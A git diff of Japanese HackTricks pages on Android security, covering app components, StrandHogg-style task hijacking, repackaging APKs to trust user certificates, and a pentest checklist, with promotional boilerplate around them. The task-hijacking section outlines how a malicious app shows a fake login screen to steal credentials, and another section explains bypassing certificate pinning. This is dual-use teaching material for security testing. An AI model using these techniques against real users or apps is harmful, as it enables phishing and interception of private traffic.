これには、**アクティビティ、サービス、ブロードキャスト レシーバー、プロバイダー**が含まれます。
|
||||
|
||||
### ランチャーアクティビティとその他のアクティビティ
|
||||
|
||||
Android アプリでは、**アクティビティ**は画面のようなもので、アプリのユーザーインターフェースの異なる部分を表示します。アプリには多くのアクティビティがあり、それぞれがユーザーに一意の画面を表示します。
|
||||
|
||||
**ランチャーアクティビティ**は、アプリのアイコンをタップすると起動されるアプリのメインゲートウェイです。これは、アプリのマニフェストファイルで特定の MAIN および LAUNCHER インテントで定義されています。
|
||||
**ランチャーアクティビティ**はアプリへのメインゲートウェイであり、アプリのアイコンをタップすると起動されます。これはアプリのマニフェストファイルで特定の MAIN および LAUNCHER インテントで定義されています。
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -256,15 +265,15 @@ Android アプリでは、**アクティビティ**は画面のようなもの
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
いくつかのアプリには、バックグラウンドサービスのようにユーザーインターフェースを持たないものも含まれるため、すべてのアプリがランチャーアクティビティを必要とするわけではありません。
|
||||
いくつかのアプリには、バックグラウンドサービスのようにユーザーインターフェイスを持たないものを含め、ランチャーアクティビティが必要ない場合があります。
|
||||
|
||||
アクティビティは、マニフェストで「exported」とマークすることで、他のアプリやプロセスで利用可能にすることができます。この設定により、他のアプリがこのアクティビティを起動できるようになります。
|
||||
アクティビティは、マニフェストで「exported」とマークすることで、他のアプリやプロセスから利用可能にすることができます。この設定により、他のアプリがこのアクティビティを起動できるようになります。
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
しかし、別のアプリからアクティビティにアクセスすることは常にセキュリティリスクとは限りません。懸念されるのは、機密データが適切に共有されていない場合であり、これは情報漏洩につながる可能性があります。
|
||||
|
||||
アクティビティのライフサイクルは、**`onCreate`メソッド**で始まり、UIの設定とアクティビティのユーザーとのやり取りの準備を行います。
|
||||
アクティビティのライフサイクルは、**`onCreate`メソッド**で始まり、UIの設定とアクティビティをユーザーとのやり取りに準備します。
|
||||
|
||||
### アプリケーションのサブクラス
|
||||
|
||||
|
@ -286,9 +295,9 @@ super.onCreate();
|
|||
```
|
||||
### サービス
|
||||
|
||||
[サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレーター**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、**長時間実行される操作**にはサービスが不可欠です。
|
||||
[サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレータ**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、サービスは**長時間実行される操作**にとって重要です。
|
||||
|
||||
サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を継続します。また、サービスの役割がアクティブなクライアント接続に依存する場合、クライアントをサービスにバインドするために`bindService`メソッドが使用され、データの受け渡しに`onBind`メソッドが関与します。
|
||||
サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を維持します。また、サービスの役割がアクティブなクライアント接続に依存する場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しに`onBind`メソッドを使用します。
|
||||
|
||||
サービスの興味深い応用例には、アプリとのやり取りを妨げることなく、バックグラウンドで音楽を再生したりネットワークデータを取得したりすることが含まれます。さらに、サービスは**エクスポート**を介して同じデバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的に構成する必要があります。
|
||||
```xml
|
||||
|
@ -298,7 +307,7 @@ super.onCreate();
|
|||
|
||||
**ブロードキャストレシーバ**は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは、**マニフェスト**を介してまたはアプリのコード内で **`registerReceiver`** API を使用して、**2つの主要な方法**で **レシーバを登録**できます。マニフェストでは、ブロードキャストは権限でフィルタリングされますが、動的に登録されたレシーバは登録時に権限を指定することもできます。
|
||||
|
||||
**インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの **`onReceive`** メソッドが呼び出され、アプリは適切に反応することができます。たとえば、低電池アラートに応じて動作を調整するなどです。
|
||||
**インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの **`onReceive`** メソッドが呼び出され、アプリは適切に反応することができます。たとえば、低バッテリーアラートに応答して動作を調整することができます。
|
||||
|
||||
ブロードキャストは、**非同期**であり、順不同ですべてのレシーバに到達するか、**同期**であり、レシーバが優先順位に基づいてブロードキャストを受け取るかのいずれかです。ただし、どのアプリも自分自身を優先してブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
|
||||
|
||||
|
@ -306,13 +315,13 @@ super.onCreate();
|
|||
|
||||
### コンテンツプロバイダ
|
||||
|
||||
**コンテンツプロバイダ**は、アプリケーション間で **構造化されたデータを共有**するために不可欠であり、データのセキュリティを確保するために **権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。`readPermission` および `writePermission` などの特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェストで **`grantUriPermission`** 設定を介して付与でき、`path`、`pathPrefix`、`pathPattern` などの属性を活用して詳細なアクセス制御を行います。
|
||||
**コンテンツプロバイダ**は、アプリケーション間で **構造化されたデータを共有**するために不可欠であり、データセキュリティを確保するために **権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。`readPermission` および `writePermission` のような特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェストで **`grantUriPermission`** 設定を介して付与でき、`path`、`pathPrefix`、`pathPattern` などの属性を活用して詳細なアクセス制御を行うことができます。
|
||||
|
||||
脆弱性(SQLインジェクションなど)を防ぐために、入力検証が極めて重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()` などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。
|
||||
脆弱性(SQLインジェクションなど)を防ぐために、入力検証は極めて重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()` などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。
|
||||
|
||||
**FileProvider** は、ファイルを安全に共有することに焦点を当てた特殊なコンテンツプロバイダです。フォルダへのアクセスを制御するための特定の属性でアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダ構成を指すようになっています。機密データが誤って公開されるのを避けるために、ディレクトリを共有する際には注意が必要です。
|
||||
|
||||
FileProvider の例示的なマニフェスト宣言:
|
||||
FileProvider の例のマニフェスト宣言:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -322,7 +331,7 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
そして、`filepaths.xml` で共有フォルダを指定する例:
|
||||
そして、`filepaths.xml` で共有フォルダーを指定する例:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
|
@ -375,16 +384,22 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,37 @@
|
|||
# Android Task Hijacking
|
||||
# Android タスクハイジャッキング
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
## タスク、バックスタック、およびフォアグラウンドアクティビティ
|
||||
**Try Hard Security Group**
|
||||
|
||||
Androidでは、**タスク**は基本的に特定の作業を完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック**内に整理されます。このスタックはアクティビティを開いた順に並べ、最新のアクティビティが**フォアグラウンドアクティビティ**としてトップに表示されます。いつでも画面にはこのアクティビティのみが表示され、これが**フォアグラウンドタスク**の一部となります。
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
以下はアクティビティの遷移の簡単な説明です:
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
* **アクティビティ1**は最初にフォアグラウンドで開始します。
|
||||
* **アクティビティ2**を起動すると、**アクティビティ1**がバックスタックに移動し、**アクティビティ2**がフォアグラウンドに表示されます。
|
||||
* **アクティビティ3**を開始すると、**アクティビティ1**と**アクティビティ2**がスタック内でさらに後ろに移動し、**アクティビティ3**が前面に表示されます。
|
||||
* **アクティビティ3**を閉じると、**アクティビティ2**が再びフォアグラウンドに表示され、Androidのスムーズなタスクナビゲーションメカニズムが示されます。
|
||||
***
|
||||
|
||||
## タスク、バックスタック、フォアグラウンドアクティビティ
|
||||
|
||||
Android では、**タスク** は特定のジョブを完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック** 内に整理されます。このスタックはアクティビティを開いた順に並べ、最新のアクティビティが **フォアグラウンドアクティビティ** として画面の一番上に表示されます。いつでも、このアクティビティのみが画面上に表示され、これが **フォアグラウンドタスク** の一部となります。
|
||||
|
||||
以下はアクティビティの遷移の簡単な説明です:
|
||||
|
||||
* **アクティビティ1** は最初にフォアグラウンドで開始します。
|
||||
* **アクティビティ2** を起動すると、**アクティビティ1** がバックスタックに移動し、**アクティビティ2** がフォアグラウンドに表示されます。
|
||||
* **アクティビティ3** を開始すると、**アクティビティ1** と **アクティビティ2** がスタック内でさらに後ろに移動し、**アクティビティ3** が前面に表示されます。
|
||||
* **アクティビティ3** を閉じると、**アクティビティ2** が再びフォアグラウンドに表示され、Android のスムーズなタスクナビゲーションメカニズムが示されます。
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
|
@ -31,41 +39,47 @@ Androidでは、**タスク**は基本的に特定の作業を完了するため
|
|||
|
||||
### タスクアフィニティと起動モードの概要
|
||||
|
||||
Androidアプリケーションでは、**タスクアフィニティ**は通常アプリのパッケージ名と一致するアクティビティの優先タスクを指定します。このセットアップは、攻撃をデモンストレーションするためのPoCアプリを作成する際に重要です。
|
||||
Android アプリケーションでは、**タスクアフィニティ** はアクティビティの優先タスクを指定し、通常はアプリのパッケージ名と一致します。このセットアップは、攻撃をデモンストレーションするための PoC アプリを作成する際に重要です。
|
||||
|
||||
### 起動モード
|
||||
|
||||
`launchMode`属性は、タスク内のアクティビティインスタンスの処理を指示します。**singleTask**モードはこの攻撃に重要であり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。攻撃は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣し、Androidシステムを誤解させて意図したターゲットアプリの代わりに攻撃者のアプリを起動する能力に依存しています。
|
||||
`launchMode` 属性は、タスク内のアクティビティインスタンスの処理を指示します。この攻撃において重要なのは **singleTask** モードで、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。攻撃は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣し、Android システムを誤解させて意図したターゲットアプリの代わりに攻撃者のアプリを起動させる能力に依存しています。
|
||||
|
||||
### 詳細な攻撃手順
|
||||
|
||||
1. **悪意のあるアプリのインストール**:被害者が自分のデバイスに攻撃者のアプリをインストールします。
|
||||
2. **初期アクティベーション**:被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
|
||||
3. **ターゲットアプリの起動試行**:被害者はターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**:一致するタスクアフィニティのため、ターゲットアプリの代わりに悪意のあるアプリが起動します。
|
||||
5. **欺瞞**:悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを機密情報を入力させるように誤誘導します。
|
||||
1. **悪意のあるアプリのインストール**: 被害者が自分のデバイスに攻撃者のアプリをインストールします。
|
||||
2. **初期起動**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
|
||||
3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**: タスクアフィニティが一致するため、ターゲットアプリの代わりに悪意のあるアプリが起動します。
|
||||
5. **欺瞞**: 悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
|
||||
|
||||
この攻撃の実践的な実装については、GitHubのTask Hijacking Strandhoggリポジトリを参照してください:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
この攻撃の実践的な実装については、GitHub の Task Hijacking Strandhogg リポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
|
||||
### 防止策
|
||||
|
||||
このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()`関数をカスタマイズすることで、タスクハイジャックに対する追加の保護を提供できます。
|
||||
このような攻撃を防ぐために、開発者は `taskAffinity` を空の文字列に設定し、`singleInstance` 起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()` 関数をカスタマイズすることで、タスクハイジャッキングに対する追加の保護を提供できます。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,30 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
一部のアプリケーションはユーザーがダウンロードした証明書を受け付けないため、特定のアプリのWebトラフィックを検査するには、実際にアプリケーションを逆コンパイルしていくつかの変更を加えて再コンパイルする必要があります。
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
一部のアプリケーションはユーザーがダウンロードした証明書を好まないため、特定のアプリのWebトラフィックを検査するには、実際にアプリケーションを逆コンパイルしていくつかの変更を加えて再コンパイルする必要があります。
|
||||
|
||||
# 自動
|
||||
|
||||
ツール [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) は、アプリケーションに必要な変更を自動的に行い、リクエストのキャプチャを開始し、証明書ピンニングも無効にします(あれば)。
|
||||
ツール[**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)は、リクエストをキャプチャし始めるために必要な変更をアプリケーションに自動的に行い、証明書ピンニングも無効にします(あれば)。
|
||||
|
||||
# 手動
|
||||
|
||||
|
@ -24,7 +32,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールして、次の行を追加します(すでに存在しない場合):
|
||||
次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールして、次の行を追加します(まだ存在しない場合):
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -36,7 +44,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
次に、**res/xml**フォルダに移動し、次の内容でnetwork\_security\_config.xmlというファイルを作成/変更します:
|
||||
次に、**res/xml**フォルダに移動し、次の内容でnetwork_security_config.xmlというファイルを作成/変更します:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -54,3 +62,23 @@ HackTricks をサポートする他の方法:
|
|||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
最後に、新しいアプリケーションに**署名するだけです**。[こちらのページSmali - Decompiling/\[Modifying\]/Compilingのこのセクションを読んで、それに署名する方法を学んでください](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキングを学びましょう**!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,14 +4,22 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝したい**ですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)を入手しましょう。
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝したい**ですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有しましょう。
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Androidの基礎を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [基本](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -30,19 +38,19 @@
|
|||
|
||||
### [静的解析](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、およびアンチタンパリングチェックを行います。[詳細はこちら](android-app-pentesting/#other-checks)を参照してください。
|
||||
